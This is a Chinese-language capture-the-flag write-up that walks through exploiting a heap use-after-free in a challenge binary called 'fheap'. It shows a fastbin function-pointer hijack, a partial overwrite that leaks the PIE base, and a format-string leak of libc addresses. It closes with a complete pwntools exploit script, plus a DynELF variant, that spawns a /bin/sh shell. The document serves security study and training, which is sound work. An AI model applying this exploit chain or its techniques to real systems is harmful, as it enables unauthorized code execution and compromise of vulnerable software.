堆漏洞利用相对栈,一般需要对程序更加细致的观察和对堆内存分配方式的熟练掌握,在此我会记录一些自己做过的堆利用相关题目。
先按惯例上checksec
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
可见防护挺严实的,初步推断可能需要通过堆攻击。检查程序逻辑,发现在创建字符串的部分,根据字符串长短,会以不同形式存储
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| printf("str:"); if ( read(0, &buf, nbytes) == -1 ){ puts("got elf!!"); exit(1); } nbytesa = strlen(&buf); if ( nbytesa > 0xF ){ dest = (char *)malloc(nbytesa); if ( !dest ){ puts("malloc faild!"); exit(1); } strncpy(dest, &buf, nbytesa); *(_QWORD *)ptr = dest; *((_QWORD *)ptr + 3) = sub_D6C; } else { strncpy(ptr, &buf, nbytesa); *((_QWORD *)ptr + 3) = sub_D52; }
|
其中ptr
已在前面通过malloc
的形式分配,需要注意的是,ptr
实际上是一个结构体,上述代码中带偏移量的赋值是在设置结构体中的内容。
而delete
过程中的释放函数调用显然可以被我们利用。
1 2 3 4 5 6 7 8 9 10
| if (*((_QWORD * ) & unk_2020C0 + 2 * v1 + 1)) { printf("Are you sure?:"); read(0, &buf, 0x100uLL); if (!strncmp(&buf, "yes", 3uLL)) { (*(void (__fastcall **)(_QWORD, const char *)) (*((_QWORD * ) & unk_2020C0 + 2 * v1 + 1) + 24LL))( *((_QWORD * ) & unk_2020C0 + 2 * v1 + 1), "yes"); *((_DWORD * ) & unk_2020C0 + 4 * v1) = 0; } }
|
因为我们可以看到,上述释放过程并不会真正抹去结构体中的地址/内容记录。只要恰当使用fastbin
漏洞,就能实现劫持释放函数指针的效果。
试想,如果创建两个长度小于0xF
的串,编号分别为0
和1
,再按顺序释放1
和0
,下一次再创建字符串时,我们就获得1
所在块的完全控制权,示意图如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 1. create 0 chunks: |0| (结构体总共32字节) fastbin: 2. create 1 chunks: |0|1| (两个结构体总共64字节) fastbin: 3. delete 1 chunks: |0|1*| (*代表已标记为被删除) fastbin: |1| 4. delete 0 chunks: |0*|1*| fastbin: |0|1| 3. create 0 (长度为 0x20) chunks: |0|1*| |_|1| (0 的首位指向块1的位置) fastbin: || (fastbin 的`0`块先被分配给ptr, 继而`1`块分配用来存储字符串内容,此时0就指向了1) 4. delete 1 此时,程序被劫持到我们修改的`1`中的地址
|
找到了劫持方式,下面就要绕开PIE保护,不然我们无法控制程序的跳转位置,可以利用相对地址不变,先对低位进行修改,以此暴露地址。在审视代码以后,我们会发现,在0xd2d
的位置有一个可以跳转的_puts
1 2 3 4 5 6 7 8 9 10
| .text:0000000000000D24 jmp short loc_D3C .text:0000000000000D26 ; -------------------------------------------------------------- .text:0000000000000D26 .text:0000000000000D26 loc_D26: ; CODE XREF: main+123↑j .text:0000000000000D26 lea rdi, aInvalidCmd ; "Invalid cmd" .text:0000000000000D2D call _puts .text:0000000000000D32 jmp loc_C71 .text:0000000000000D37 ; -------------------------------------------------------------- .text:0000000000000D37 .text:0000000000000D37 loc_D37:
|
因此,我们可以写出以下payload:
1 2 3 4 5 6 7 8 9 10
| create(0xa, 'a' * 0xa) create(0xa, 'b' * 0xa) delete(1) delete(0) create(0x20, 0x18 * 'a' + '\x2d') delete(1) sh.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaa') base = sh.recvuntil('create')[:6][::-1].encode('hex') base = int(base, 16) base = int((hex(base / pow(16, 3)) + '000')[2:], 16)
|
有了基址,就可以在程序内部的任意位置跳转,但由于程序的plt
表中没有system
函数,因此要考虑通过libc相对偏移来跳转。
查看代码,发现0x10ee
的位置调用了printf
,可以用来进行泄露
1 2 3 4 5 6
| .text:00000000000010DA mov eax, [rbp+var_102C] .text:00000000000010E0 mov esi, eax .text:00000000000010E2 lea rdi, aTheStringIdIsD ; "The string id is %d\n" .text:00000000000010E9 mov eax, 0 .text:00000000000010EE call _printf .text:00000000000010F3 jmp short loc_1109
|
字符串删除函数中又存在一个栈上的buf
可以利用
1 2
| read(0, &buf, 0x100uLL); if ( !strncmp(&buf, "yes", 3uLL) )
|
因此,只要通过printf
暴露栈,理论上就能获得所有地址的内容。也可以轻易获取任意libc
函数被解析后存储在got中的地址。
通过以下代码对puts
函数的libc
地址进行泄露(这里利用了先前获取的基址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| printf_loc = base + 0x10ee puts_plt = base + 0x202030 def leak(ads): delete(0) create(0x20, 0x2 * 'a' + '%10$s' + 0x11 * 'e' + p64(printf_loc)) sh.recvuntil('3.quit\n') sh.send('delete string') sh.recvuntil('id:') sh.sendline('1') sh.recvuntil('sure?:') sh.sendline('yes' + 0x5 * 'a' + p64(ads)) addr = sh.recvuntil('eeeeeeeeeeeeeeeee', drop = True) addr = int(addr[2:][::-1].encode('hex'), 16) return addr
puts_loc = leak(puts_plt)
|
然后,我们通过readelf
获取libc
中puts
与system
的相对偏移:
1 2 3 4 5 6 7 8 9 10 11 12
| phosphorus15@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc-2.23.so | grep puts 186: 000000000006f690 456 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.2.5 404: 000000000006f690 456 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5 475: 000000000010bbe0 1262 FUNC GLOBAL DEFAULT 13 putspent@@GLIBC_2.2.5 651: 000000000010d590 703 FUNC GLOBAL DEFAULT 13 putsgent@@GLIBC_2.10 1097: 000000000006e030 354 FUNC WEAK DEFAULT 13 fputs@@GLIBC_2.2.5 1611: 000000000006e030 354 FUNC GLOBAL DEFAULT 13 _IO_fputs@@GLIBC_2.2.5 2221: 00000000000782b0 95 FUNC WEAK DEFAULT 13 fputs_unlocked@@GLIBC_2.2.5 phosphorus15@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc-2.23.so | grep system 225: 0000000000138810 70 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.2.5 584: 0000000000045390 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE 1351: 0000000000045390 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
|
记录下相对位置,方便以后使用。
至此,我们已经掌握了system
函数的地址,只需要进行跳转调用即可,因为被释放的字符串本身就是调用释放函数时的参数,我们可以直接将/bin/sh;
写在字符串的开头部分。(此处一定要有分号,来与后面的对齐用字符隔开)
整个exp脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * import sys
sh = process("./fheap")
_libc_system = 0x45390 _libc_puts = 0x6f690
def create(chunk_size,value): sh.recvuntil('3.quit\n') sh.send('create string') sh.recvuntil('string size:') sh.sendline(str(chunk_size)) sh.recvuntil('str:') sh.send(value)
def delete(index): sh.recvuntil('3.quit\n') sh.send('delete string') sh.recvuntil('id:') sh.sendline(str(index)) sh.recvuntil('sure?:') sh.sendline('yes')
create(0xa, 'a' * 0xa) create(0xa, 'b' * 0xa) delete(1) delete(0) create(0x20, 0x18 * 'a' + '\x2d') delete(1) sh.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaa') base = sh.recvuntil('create')[:6][::-1].encode('hex') base = int(base, 16) base = int((hex(base / pow(16, 3)) + '000')[2:], 16) printf_loc = base + 0x10ee puts_plt = base + 0x202030 print hex(printf_loc)
def leak(ads): delete(0) create(0x20, 0x2 * 'a' + '%10$s' + 0x11 * 'e' + p64(printf_loc)) sh.recvuntil('3.quit\n') sh.send('delete string') sh.recvuntil('id:') sh.sendline(str(1)) sh.recvuntil('sure?:') sh.sendline('yes' + 0x5 * 'a' + p64(ads)) addr = sh.recvuntil('eeeeeeeeeeeeeeeee', drop = True) addr = int(addr[2:][::-1].encode('hex'), 16) return addr
puts_loc = leak(puts_plt) system_loc = puts_loc + (_libc_system - _libc_puts)
delete(0) create(0x20, '/bin/sh;' + 0x10 * 'a' + p64(system_loc)) delete(1)
sh.interactive()
|
运行脚本,获得shell。
当然,考虑到我们可以重复泄露,我们没有必要专门计算libc
中的偏移,可以让DynELF
自动帮我们找出system
的位置,修改后的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| def leak(ads): delete(0) create(0x20, 0x2 * 'a' + '%10$s' + 0x11 * 'e' + p64(printf_loc)) sh.recvuntil('3.quit\n') sh.send('delete string') sh.recvuntil('id:') sh.sendline(str(1)) sh.recvuntil('sure?:') sh.sendline('yes' + 0x5 * 'a' + p64(ads)) data = sh.recvuntil('eeeeeeeeeeeeeeeee', drop = True) data = data[2:] print "%#x => %s" % (ads, (data or '').encode('hex')) return data + '\x00'
elf = ELF("./fheap") elf.address = base dyn=DynELF(leak, elf = elf) system_loc = dyn.lookup('system', 'libc')
|
恰当使用DynELF
,在缺乏libc
相关信息时能更方便快捷地进行泄露。